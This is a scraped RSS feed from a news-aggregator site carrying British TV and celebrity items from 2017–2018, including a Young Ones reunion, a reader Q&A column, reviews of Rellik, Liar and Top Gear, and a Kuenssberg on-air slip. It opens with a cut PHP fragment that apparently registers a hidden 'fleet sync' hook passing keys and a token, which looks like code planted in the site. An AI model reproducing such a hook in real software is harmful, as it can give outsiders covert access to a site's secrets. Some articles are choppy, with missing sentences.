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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); BBC&#039s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 29 Apr 2018 15:21:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png BBC&#039s – Brief News https://briefnews.eu 32 32 The Young Ones are back as stars of BBC's cult comedy reunite https://briefnews.eu/the-young-ones-are-back-as-stars-of-bbcs-cult-comedy-reunite/ https://briefnews.eu/the-young-ones-are-back-as-stars-of-bbcs-cult-comedy-reunite/#respond Sun, 29 Apr 2018 15:21:08 +0000 http://briefnews.eu/the-young-ones-are-back-as-stars-of-bbcs-cult-comedy-reunite/

Its slapstick comedy made household names of Rik Mayall, Ade Edmondson, Nigel Planer and Alexei Sayle.

Some of the team reunite on Radio 4’s The Reunion today. Appearing are Planer, Sayle, writer Lise Mayer, Chris Ryan, who played Mike, and Stephen Frost, who played a number of roles. Edmondson declined to take part.

Mayer, 58, who co-wrote the series with Ben Elton and her then partner Mayall, who died in 2014, said bad language was always a sticking point with Beeb bosses.

Mayer said: “We used to have meetings where they would go, ‘OK, you can have 12 *******s per series, 14 damns and 40 bloodies’. We once tried having a lion tamer.”

Stunts that went wrong included punk medical student Vyvyan, played by Edmondson, setting himself on fire with a Molotov cocktail, an exploding oven that set a camera ablaze and Planer injuring his back when a huge foam prop fell on him.

“The next day I had to go to the osteopath who said, ‘What’s happened to you then?’ I said, ‘A giant eclair fell on my head’,” revealed Planer, 65.

The stars and creators met through London’s “alternative comedy” scene. But Sayle, who played members of the Balowski family, admits his Marxist views were out-ofstep with the others.

One of the best-loved episodes, which lampooned University Challenge, starred “Oxbridge types” Griff Rhys Jones, Hugh Laurie, Emma Thompson and Stephen Fry.

Sayle, 65, joked: “Yes it’s quite a line-up.

But it’s a line-up of reactionary, blood sucking, upper-class scum.

“I said to the writers, ‘What are these people doing here? I thought they were the enemy, I thought we were united in a project of Marxist anarcho-syndicalism designed to tear down the power structure and replace it with a more proletarian-based Marxist philosophy’.

“And they said, ‘No that’s just you!'” He added: “It was just me shouting in the wilderness.”

Sayle admitted: “For me there was no downside to having been in The Young Ones. I’m eternally grateful for them letting me be in it and also letting me get away with doing what I did.

“We’re all close still. We do all love each other.”

The Reunion, Radio 4, 11.15am today.

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A: Most of the music for that documentary was specially composed by Michael Nyman, but the song played over the end credits was The Movie About Us, composed and sung by Swedish singer Eva Dahlgren.

Q: While watching a football match on TV one of the commentators spoke about bending the ball. This brought to mind my reading a comic (not sure which) around 65 to 70 years ago and one of the stories was about a footballer called Limp Along Leslie who had one leg shorter than the other. He was famous for bending the ball when he took free kicks – this is obviously before David Beckham and other ball benders. Could you confirm if this is right?

A: You’re quite right. Limp Along Leslie (Leslie Thomson) appeared in Hotspur in the 1960s and later in Buddy. Apart from his footballing skills, Leslie was a farmer who reared a champion sheepdog, which made for an unusual side plot.

Q: I believe the “strings” down the flesh of a banana have a name. Please can you help?

A: The string down a banana is called “phloem” or – probably more accurately – a bundle of phloem. They carry nutrients to the fruit while it is growing. The only other thing I know about bananas is that their old scientific name was “musa sapientum” which means “fruit of the wise man”.

Q: Was bread ever rationed during the Second World War, or was it rationed after the war when Labour was in power? Also, which Labour minister said “Britain is an island built on coal, surrounded by fish. Only an organising genius could produce a shortage of both at the same time”?

A: Bread was rationed in the UK from July 21, 1946 (as you say, after the Labour Government came into power). It was not rationed during the war. The quotation you give (but with “made of coal” rather than “built on coal”) was said by Aneurin Bevan at the 1945 Labour Party Conference, which was held after Germany surrendered. And there really was a wartime shortage of both at the time.

Q: In the obituary of the late Bill Maynard in the Daily Express, it went through his showbusiness history. However, I am sure I remember in the 1950s a comedy act called Mick And Montmorency. I am sure Mick was Bill Maynard and Montmorency was, I think, Charlie Drake. Am I right?

A: You’re right about Charlie Drake but Mick was played by Jack Edwardes, whose 6ft 4in height went perfectly with Charlie Drake’s 5ft 1in stature. Charlie Drake and Bill Maynard did, however, co-star in the 1991 TV drama Filipina Dreamgirls.

Bill Maynard and Charlie Drake, incidentally, both started their careers at Butlin’s Holiday Camps: Maynard as a Redcoat and Drake, amazingly enough, as a boxing instructor.

Q: When I was a child, my mother used to say that I was in a brown study. What does this mean?

A: Brown study is a splendid old expression for gloominess. In the 17th and 18th centuries, at much the same time as people started to say they felt blue, the colour brown was used to refer to a rather less miserable state.

Samuel Johnson defined brown study as “gloomy meditations” while Webster’s Dictionary in the US said it was “serious reverie, thoughtful absent-mindedness”.

The OED defines brown study as “A state of mental abstraction or musing”, which is probably what your mother had in mind.

Q: I bought a new Mini Cooper in 1964. How many cars were on the road in Britain then compared today? How does this compare with our increase in population?

A: In 1964, there were about nine million cars on our roads. According to the latest available figures, it is now just under 32 million. The totals for the UK population in the same years are 54 million in 1964 and about 66.5 million now. That’s a 23 per cent increase in people and a 255 per cent increase in cars.

Q: Why is a head butt called a Glasgow Kiss in Scotland and a Kirby Kiss in Liverpool?

A: Both are references to the alleged violence of the areas referred to. The earliest recorded use of the word “kiss” for a head butt was in 1944 when there was a reference to a Liverpool Kiss, which is thought to have been first used by sailors.

The Liverpool Kiss later became a Kirkby Kiss named after a place just outside Liverpool. The earliest known reference to a Glasgow Kiss was in 1982 when a newspaper noted: “Glasgow has its own way of welcoming people… there is a broken bottle gripped in the fist of greeting. Or there’s the Glasgow kiss – a sharp whack on the nose with the forehead.”

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]]> https://briefnews.eu/bbcs-in-her-own-words-had-a-catchy-final-song-what-was-it-the-saturday-briefing/feed/ 0 Hamlet 2018: When does BBC's Hamlet with Andrew Scott air? Who stars in cast? https://briefnews.eu/hamlet-2018-when-does-bbcs-hamlet-with-andrew-scott-air-who-stars-in-cast/ https://briefnews.eu/hamlet-2018-when-does-bbcs-hamlet-with-andrew-scott-air-who-stars-in-cast/#respond Sat, 31 Mar 2018 10:17:44 +0000 http://briefnews.eu/hamlet-2018-when-does-bbcs-hamlet-with-andrew-scott-air-who-stars-in-cast/

The actor, who played Jim Moriarty alongside Benedict Cumberbatch’s Sherlock, appeared in the Shakespeare theatre production in London last year.

The production also stars Angus Wright as Claudius, Jessica Brown Findlay as Ophelia and Juliet Stevenson as Gertrude.

Directed by Robert Icke, the modern-dress show was filmed during the 2017 run at the Almeida Theatre before it was transferred to the West End’s Harold Pinter Theatre for a limited season following the sell-out run.

Now a televised version will air on BBC2 tonight.

When does BBC’s Hamlet with Andrew Scott air?

BBC Two viewers will get front row seats to the stunning production tonight, with Hamlet to air at 9pm on BBC2 on Saturday, March 31.

The broadcast promises “a front-row seat at the innovative production”.

BBC2 Controller Patrick Holland said, “Andrew Scott’s Hamlet is utterly thrilling. His performance makes each familiar word of the play feel like it is being newly discovered.

“The staging in a modern-day Denmark makes for a startlingly resonant and challenging production. I am delighted that it is coming to BBC2.”

The show saw a sell-out run at the almeida, before it moved to the Harold Pinter where it was equally packed every night.

In her five-star review for WhatsOnStage, Sarah Crompton said Andrew Scott provided “an outstanding performance on a truly memorable night.”

Director Robert Icke said: “It has been a real joy to work with such a gifted and dedicated company of actors on bringing this most-famous play to audiences in 2017.

“The production has been on a wonderful journey from the Almeida to the West End, and I am very much looking forward to this next step on BBC Two.

“To be able to offer our version of Hamlet to as wide and diverse an audience as possible has always been of paramount importance to us, and now we are thrilled to be able to bring it to people across the country.”

The programme was commissioned by Patrick Holland, Controller, BBC Two and Emma Cahusac, Commissioning Editor, Arts and is produced by John Wyver at Illuminations Television.

The play, which is set in Denmark, sees Prince Hamlet wreak his revenge upon his uncle, Claudius, after being visited by the ghost of his father, King Hamlet.

Claudius had murdered his own brother and seized the throne, also marrying his deceased brother’s widow.

Hamlet is Shakespeare’s longest play.

Hamlet airs on BBC Two on March 31 at 9pm.

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]]> https://briefnews.eu/hamlet-2018-when-does-bbcs-hamlet-with-andrew-scott-air-who-stars-in-cast/feed/ 0 The BBC's royal arts season is 'a special treat for audiences' https://briefnews.eu/the-bbcs-royal-arts-season-is-a-special-treat-for-audiences/ https://briefnews.eu/the-bbcs-royal-arts-season-is-a-special-treat-for-audiences/#respond Mon, 15 Jan 2018 12:50:00 +0000 http://briefnews.eu/the-bbcs-royal-arts-season-is-a-special-treat-for-audiences/

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Two programmes see the Queen and her art collection dazzle on the BBC

The frontline royals, such as Princes William and Harry, Prince Charles and Camilla, Duchess of Cornwall are appearing more frequently than ever on television, in interviews and special documentaries.

But tonight (Sunday) is a special treat for audiences. It’s a rare and intimate “interview” with the Queen in a new 60-minute film, called The Coronation, to coincide with the 65th anniversary of the monarch ascending the throne.

As part of the Royal Collection Season on the BBC, there’s also a fascinating four-part series from ever-enthusiastic presenter Andrew Graham-Dixon who brings wit and humour to bear on the “tastes and passions of kings and queens over the last 500 years”.

But it is The Coronation on BBC One which is the highlight of the season, given that it’s the first time the sovereign has spoken at such length on TV. 

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At no point were we ever going to look into the future because it is not proper so to do. But the Queen herself refers to the ancientness of the ceremony and you distantly get a sense that the Queen absolutely grasps the context in which she was crowned.

Alastair Bruce

Her natural wit and warmth are evident in exchanges with Alastair Bruce, royal expert and former aide to Prince Edward. It’s not so much an “interview”, says Bruce, also a Queen’s Herald, but a “conversation”.

“I think the Queen granted the conversation because of the importance of the Crown Jewels,” he says.

“It’s very timely she has talked about them, and about the Coronation certainly.

“I think it was very touching that she was so intimate about something that was intimate to her.” 

Bruce reveals he spent 90 minutes with the Queen on the filming day. But why now?

He says: “We’ve been trying for 22 years to convince various organisations to let us make this film.

I think the 65th anniversary is a poignant time, particularly because it is such a long time since we had a Coronation.

“I think the Royal Collection and the Royal Household clearly were persuaded by us and then persuaded the Queen to take part and give us this unique access to film the Crown Jewels.

“At no point were we ever going to look into the future because it is not proper so to do. But the Queen herself refers to the ancientness of the ceremony and you distantly get a sense that the Queen absolutely grasps the context in which she was crowned in 1953.”

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Alastair Bruce interviewed Queen Elizabeth

In the film the Queen recalls the day when the weight of both St Edward’s Crown and the expectations of the country after the war were on her shoulders.

“I think the real surprise for me,” says Bruce, “was the Queen’s enthusiasm for the Imperial State Crown, her love of the Black Prince’s Ruby was fascinating, the description of the hole [Henry V supposedly placed a feather in a hole drilled into the ruby] and the fact that we were allowed to get this unbelievably close-up analysis through the cameras of each and every stone.”

The monarch also reflects in the film on details about her procession into Westminster Abbey on the day.

The Queen says: “They were so high up… I mean, we were in the bottom and everything was happening, you know, they were all sitting at the top. It was so full, that it rather takes away the height of it.” The Queen’s coronation dress was embroidered in silk with pearls as well as gold and silver bullion thread.

She says: “Well I remember one moment when I was going against the pile of the carpet and I couldn’t move at all.”

Alastair Bruce asks: “Really?” The Queen replies: “Yes, they hadn’t thought of that.” 

The film also includes eyewitness accounts of others who took part; such as a Maid of Honour who nearly fainted, and from one of the choirboys.

Andrew Graham-Dixon has the enviable task of poking around the Royal Collection in a four-part BBC Four series looking at gifts and works created for the royals over 500 years.

It’s not an inconsiderable task but Graham-Dixon handles it with an encyclopaedic knowledge and, most importantly, an unstuffy lightness of touch.

He comes across famous masterpieces from Leonardo da Vinci, Holbein and Canaletto; to the extravagant creations of Fabergé and exquisite Tudor miniatures.

The works sparkle on the screen in glorious HD quality, bringing them to life all over again. But there were difficulties: “The biggest challenge,” Graham-Dixon reveals to me, “is that I’m not an early-morning person and we were filming in the palaces from six until 10, because that’s when they open to the public.

“So when you see me talking about the tapestries of Henry VIII at Hampton Court you can almost see the matchsticks holding my eyes open!” 

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Photographs from the Coronation of Queen Elizabeth II which took place on June 2 1953.

Queen Elizabeth II with her Maids of Honour and the Archbishop of Canterbury during the Coronation

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Queen Elizabeth II with her Maids of Honour and the Archbishop of Canterbury during the Coronation

Many of the works featured in the series are eye-popping in their own right. Two pictures by George Stubbs, which would now sell for around £20million a piece, look to be in immaculate condition.

It’s breathtaking, he says, to see these pictures and artefacts for the first time.

“Obviously, some things don’t actually end up in the programmes and I hope they may turn up online, such as Michelangelo’s “presentation drawings” – the greatest drawings he ever made. They live in Windsor Castle.

“Seeing those, or indeed the Da Vinci drawings up close – under the ultra-violet light – was just incredible.”

He agrees the Royal Family have made more of their collection more accessible to the public and adds: “It’s now far more open than say, 30 years ago. There was a growing momentum in that direction and it was given a huge push by the 1992 fire at Windsor. 

“It made them think, ‘How are we going to raise the money for this?’ What they thought is that they will use their art to raise the money, like opening Buckingham Palace.

And they did it; and they did it so successfully. They then found they had a win-win situation anyway.”

And television? “Well, they’ve encouraged that. You can’t do these shows without their co-operation. The fact that they allowed the television to happen speaks to the fact that they’ve wanted the Royal Collection to be more popular, to be more of a resource. You can go online to look at the Collection, almost any object. It’s fantastic.”

He had an audience with Prince Charles, too, to discuss the heir’s new commissions in the same chilly room in St James’s Palace where we do our interview: “It was a bit intimidating beforehand, because I was told all the rules and I tried to do what I was told. Normally, it’s the interviewer’s job to make the interviewee feel at ease but I felt that he was putting me at ease.”

He adds: “He’s properly interested in art. Were he to have a budget of millions to spend on art he might well buy the odd Holbein.”

Of course, one day in the future Prince Charles will have the opportunity.

“The only conspicuous consumption I can think of with the Queen involves racehorses, and that can’t be cheap,” says Graham-Dixon.

“I would imagine if he was in the same situation as the Queen he might well spend the same amount on art. That does seem to be his genuine thing.” 

The Coronation, BBC One, Sunday 8pm; Art, Passion and Power: The Story of the Royal Collection, BBC Four, Tuesday, 9pm. For details of the Royal Collection Trust and where you can see items from the Queen’s art collection, visit royalcollection.org.uk

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The theory applies to many things, of course, from restaurants in double-decker buses to TV shows. Rellik (BBC1) is a new crime thriller from brothers Harry and Jack Williams, a pair whose pedigree includes The Missing and One Of Us. 

At this point my review would normally say what happened at the beginning of the first episode but I can’t, because the beginning was not the beginning.

That may, in fact, be the point of the whole thing (I hope it is), for at an early stage in the episode dogged detective DCI Gabriel Markham (Richard Dormer) delivered a mission statement to his colleague while they hunted the man they believed had committed seven murders and caused horrific burns to Markham’s face. 

“If we could go back far enough… find the reasons why people do the things they do, maybe we wouldn’t spend so much time chasing our tails.”

His point became more relevant later (and earlier) as he shot dead Stephen Mills (Michael Shaeffer) and promptly began doubting he’d got the right man. Back at work too soon after his accident (that one again), Markham’s doubt was itself doubted by his colleagues who kept telling him to go home to rest.

It’s one of those thrillers that’s all about who knows what and we, having seen various sequences involving Mills, know that Gabriel is both right and wrong about him.

We also know Paul Rhys, whose icily well-spoken character fled the country as the hunt for Mills hit the news, rarely plays nice guys. Most importantly, we know that nothing from the Williams brothers is ever hogwash, or has been so far.

So I hope there’ll be some canny means by which the “find out where it started” theme dovetails beautifully with the way the story has been chopped into bird-sized crumbs and hops about from one time frame to another like a pigeon on an electrified fence. That couldn’t just be a flashy stunt, could it?

Harry and Jack can hardly lose, of course, not with one show on the BBC and another, Liar on ITV at the same time. The key to this one, for me, was not having read much about it before I watched it.

It started like a cosy ensemble drama with faces you recognised from many other shows coupling and decoupling very much, apparently, the order of the day.

Against an easy-watching coastal backdrop, English teacher Laura (Joanne Froggatt) finally got shut of childhood sweetheart Tom and let her medic sister set her up with dishy colleague Andrew (Ioan Gruffudd).

Laura already knew the sexy, widowed heart surgeon because his son is in her class and in TV dramas, teachers never think twice about dating the parents of their pupils (especially not sexy, widowed heart surgeon parents). 

However, the atmosphere turned on a sixpence as Laura woke up groggy after her dream date, certain that Andrew had raped her.

As everyone took sides, plenty of others seemed to be shedding their skins as well from Laura’s “loyal” sister Katie (Zoë Tapper) to her policeman ex Tom (Warren Brown) and doubtless beyond.

I’m taking no sides myself yet but I know which channel I’ll be watching. 

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]]> https://briefnews.eu/rellik-review-bbcs-new-crime-thriller-from-creators-of-the-missing-and-liar/feed/ 0 BBC's ‘Beirut Beefcake’ Middle East reporter QUITS channel for multi-million pound deal https://briefnews.eu/bbcs-beirut-beefcake-middle-east-reporter-quits-channel-for-multi-million-pound-deal/ https://briefnews.eu/bbcs-beirut-beefcake-middle-east-reporter-quits-channel-for-multi-million-pound-deal/#respond Sun, 25 Jun 2017 16:47:15 +0000 http://briefnews.eu/bbcs-beirut-beefcake-middle-east-reporter-quits-channel-for-multi-million-pound-deal/

ABC News hired the 30-year-old BBC reporter to serve as a foreign correspondent based at ABC’s London bureau.

The correspondent accepted a rumoured multi-million-pound contract as part of the new deal.

ABC News President James Goldston announced to staff: “James has a deep understanding of the Middle East conflict and the complex politics and issues in the region.

“He has interviewed families torn apart by war, former ISIS members and jihadists tied to the UK and Europe.”

A former head boy of £31,000-a-year Worth School in West Sussex, the reporter is fluent in Arabic, French and English, was raised in London and Cairo and wrote a Master’s Degree thesis on Syrian politics.

US magazines have described him as “smoking hot”, while Longman himself has gained a large online after posting topless pictures to his Instagram account.

Longman tweeted: “Some news about me: excited to join @ABC News as foreign correspondent. A huge honour but will miss brilliant BBC and its wonderful people.”

Friends and fans of the reporter, dubbed the “Beirut Beefcake”, took to social media to congratulate him on the move earlier this month.

One tweeted: “Congratulations @JamesAALongman You have a lot to be proud of with your work at BBC. The Depression documentary was outstanding!”

“Wow. Congratulations James. Sorry Beeb couldn’t keep hold of you but fantastic move. All the best x,” posted another.

A third simply wrote: “Oh no we will miss seeing you on our screens.”

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]]> https://briefnews.eu/bbcs-beirut-beefcake-middle-east-reporter-quits-channel-for-multi-million-pound-deal/feed/ 0 Moment BBC's Laura Kuenssberg accidentally drops C-bomb LIVE on air in election blunder https://briefnews.eu/moment-bbcs-laura-kuenssberg-accidentally-drops-c-bomb-live-on-air-in-election-blunder/ https://briefnews.eu/moment-bbcs-laura-kuenssberg-accidentally-drops-c-bomb-live-on-air-in-election-blunder/#respond Fri, 09 Jun 2017 17:49:22 +0000 http://briefnews.eu/moment-bbcs-laura-kuenssberg-accidentally-drops-c-bomb-live-on-air-in-election-blunder/

It seems she was suffering from a lack of sleep as she hosted the BBC’s coverage during the early hours of this morning. 

Luckily for Laura, the embarrassing incident took place at 2.54am when most people were asleep, as she discussed Liberal Democrat leader Tim Farron and his constituency. 

She told David Dimbleby: “Tim Farron the current party leader is facing potential defeat. There’s chatter there about a re-c**t.”

The political editor was quick to rectify her mistake, as she corrected herself: “Recount.”

Unfortunately, some people had chosen to stay awake to follow the election coverage and picked up on the embarrassing blunder. 

One user noted: “Laura Kuenssberg just said the word ‘c**t’ on air when she probably meant ‘count’. Oh dear #BBC.”

While another added: “#BBCelection #GE2017 BBC bias on a new level, Laura just said people are calling Tim Farron a c**t.”

“Its far from over but the highlight of the election programme was the mispronunciation of ‘count’ by Laura Kuenssberg. #GE2017 #BBCelection,” a third tweeted.

The moment came not long after from his presenting duties by a fly. 

He could be seen swatting away the pesky insect as he told viewers at home: “There’s a fly in the studio, which is rather irritating me – we’ve been trying to get rid of it for the last three days, but it’s still coming around!”

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]]> https://briefnews.eu/moment-bbcs-laura-kuenssberg-accidentally-drops-c-bomb-live-on-air-in-election-blunder/feed/ 0 Dr Rangan Chatterjee the GP of BBC's Doctor In The House https://briefnews.eu/dr-rangan-chatterjee-the-gp-of-bbcs-doctor-in-the-house/ https://briefnews.eu/dr-rangan-chatterjee-the-gp-of-bbcs-doctor-in-the-house/#respond Sun, 14 May 2017 01:13:23 +0000 http://briefnews.eu/dr-rangan-chatterjee-the-gp-of-bbcs-doctor-in-the-house/

What is Doctor In The House about?

What happens if you have more than 10 minutes with your doctor? I have thrown diagnosis out the window and I am looking at the person and trying to find out what’s wrong with them by looking at their lifestyle. 

How were you approached?

There was a group email that went round where I was working. There were 12,000 applications. I think I got it because I believed in the idea behind the series. 

How many days do you spend with one family?

From 10 to 12 full days in their houses and the same again in terms of contact. 

Of the eight families in the series, what was the most common problem?

With every family I have had to deal with stress but they all have different diseases… headaches, migraines, heart disease, diabetes and bowel problems. When you strip them back to their core they have a common root cause. A lot is how we live our lives: eat, sleep, relax, and move – the four pillars of health. When you get them right it can help.

Who was your biggest challenge?

I have been a doctor for 16 years now and have seen thousands of patients but one of the hardest cases I have ever seen was Gemma from the first episode. She had headaches for 15 years, regarded as incurable.

They are called suicide headaches because many people with them go to voluntary euthanasia. She has been to hundreds of doctors and been on lots of pills. 

She was getting 80 headaches a week. 

I tackled three of four different areas. In two months she was down to under five headaches a week.

How did you solve Gemma’s problem? 

I looked at her diet and limited some foods. I gave her magnesium, which is a supplement that can help headaches. Her stress levels were very high, so I taught her to meditate. 

What is going wrong with our health care system?

We are not trained to look at the root cause of the problem. We are trained to diagnose and give a pill. 

Do your patients stick to your advice? 

Every intervention I did had to be sustainable. In the first series 

I reversed the health of a diabetic lady in four weeks. She contacted me 18 months later saying her blood sugar levels are even better than when I was last there. 

Doctor In The House, Monday, 9pm, BBC1

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]]> https://briefnews.eu/dr-rangan-chatterjee-the-gp-of-bbcs-doctor-in-the-house/feed/ 0 TV Reviews: BBC's Top Gear gamble backfires https://briefnews.eu/tv-reviews-bbcs-top-gear-gamble-backfires/ https://briefnews.eu/tv-reviews-bbcs-top-gear-gamble-backfires/#respond Sun, 12 Mar 2017 00:15:24 +0000 http://briefnews.eu/tv-reviews-bbcs-top-gear-gamble-backfires/

Each had a subversive sense of humour and a good line in banter.

Much to their amusement they got the job. However, the day arrived when they were having too much fun, making too much money (even for their employers), and entertaining us too much.

The big, bad, appeared armed with political correctness and found a way to ruin it; blew the whole house down and replaced them with a popular radio presenter and a clutch of little-known motoring journalists.

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New Top Gear lineup: (L to R) Rory Reid, Matt LeBlanc, Chris Harris

Enough of them to enter a competitive hill climb. The popular radio presenter wasn’t as popular as people thought and returned to the wireless, much chastened.

The latest version is innocuous, tedious and completely lacking in atmosphere and humour

Then millions of bewildered fans around the world were left with an American sitcom star and two “new” little-known motoring journalists. Dullness descended.

The moral of the story? Beware the little-known.

Granted, I’ve omitted the fact that a well-known TV presenter punched a producer but it is still a source of regret to fans that a once-great show lies in ruins on an old Surrey airbase where it continues to be filmed.

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The latest version is innocuous, tedious and completely lacking in atmosphere and humour.

Neither Chris Harris, Rory Reid or Matt LeBlanc appear comfortable in front of a camera and approach reading an autocue like it was a cryptic crossword.

They won’t get any better, folks.

You can either do it, or not. In fact, for the whole show you were dreading a return to the studio segments with actor James McAvoy. Two million viewers went elsewhere.

It also appeared that the live element of the show had been deliberately cut back owing to the show’s personality bypass, with an hour’s television rammed with video segments.

An exhaustingly long film, expensively shot in Kazakhstan (why?) about high-milers was like sitting in one of those ailing motors yourself for 500,000 miles.

We also had to suffer their forced jollity and chumminess. And why hasn’t Matt LeBlanc faced criticism, as Clarkson would have done, for saying someone “had some kind of mental issue”?

What a shame Danny Cohen has moved on from his job as director of BBC television.

His special talents are needed again. On a single positive note, it wasn’t as awful as last year’s version. It is now a very ordinary car show. One for the poster, BBC.

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To relax, you could do worse than Rivers With Jeremy Paxman

To relax, you could do worse than Rivers With Jeremy Paxman (C4, Sunday). For Channel 4, Sunday nights at 8pm are held open for large tributaries, canals and waterways, even a stream would do.

Any celebrity, such as Prunella Scales and Timothy West, can occupy this slot as long as there’s a river flowing through it. You also need to wear, as Paxman did, an outfit of purple trousers and chambray shirt, more suited to the wine bar. You don’t even have to sail, or barge your way along it as Scales and West do.

Paxman simply barged into people, ignoring the usual pleasantries.

The former Newsnight presenter, who travelled the length of the Severn in this episode, is trying to relate to normal people again after years of speaking only with selfserving politicians, and shouting at them for entertainment – “ANSWER THE QUESTION!!” Thankfully there was some delightful scenery, worthy of Countryfile, as he led us to where he grew up near Worcester and where “Jeeves and Wooster run away to”, which he also described as “99 octane England”.

Sounds vaguely unhealthy to me.

Of course, Paxman always has a rarefied air about him, almost lording it over the countryside. Speaking to one manual labourer, he barked: “But your hands are dirty!” to which the man replied: “Dirty hands, clean money.”

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Buckingham Palace is a bombed ruin in the series

SS-GB (BBC1, Sunday) continues to swerve wonderfully between the preposterous, the arcane and the badly enunciated.

The episode started brilliantly with high-level cameos from Von Ribbentrop and Josef Goebbels. The latter, one suspects, was on his way to Fleet Street for a spot of dark propaganda but stopped off to witness – wait for it – the exhumation of Karl Marx at Highgate Cemetery.

Of course. Apparently the occupying Nazis are now loving the Russians. The series has plots everywhere, including an internecine battle between the German Army and the Gestapo, a brace of murders and the discussion of which airfield the King should flee from.

Coward.

And yes, the series is a better read as subtitles than it is a watch. With most Marvel-related films or TV, I can be seen running for the hills, screaming, “young people!”

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Sam Riley plays Douglas Archer in SS-GB

There are exceptions: Ryan Reynolds’s Deadpool and Robert Downey Jr’s Iron Man, both of whom can wonderfully subvert an earnest punch-up when given the chance.

Apparently Downey Jr doesn’t appear in Marvel’s Iron Fist (Netflix, March), which is a shame since they appear to have at least one thing in common. Let’s give it time.

Iron First can thump people very hard (not to be recommended, children) but is nonetheless a likeable character, unusual for the genre.

In the back story, he’s meant to be dead so is trying to convince people that he’s still alive. To prove this paradox, he jumps over cars, an advantage in New York traffic.

He’s also a Buddhist (even though they are pacifists) so I look forward to him carnage-free conquering the world with a single punch.

Brilliantly bonkers.

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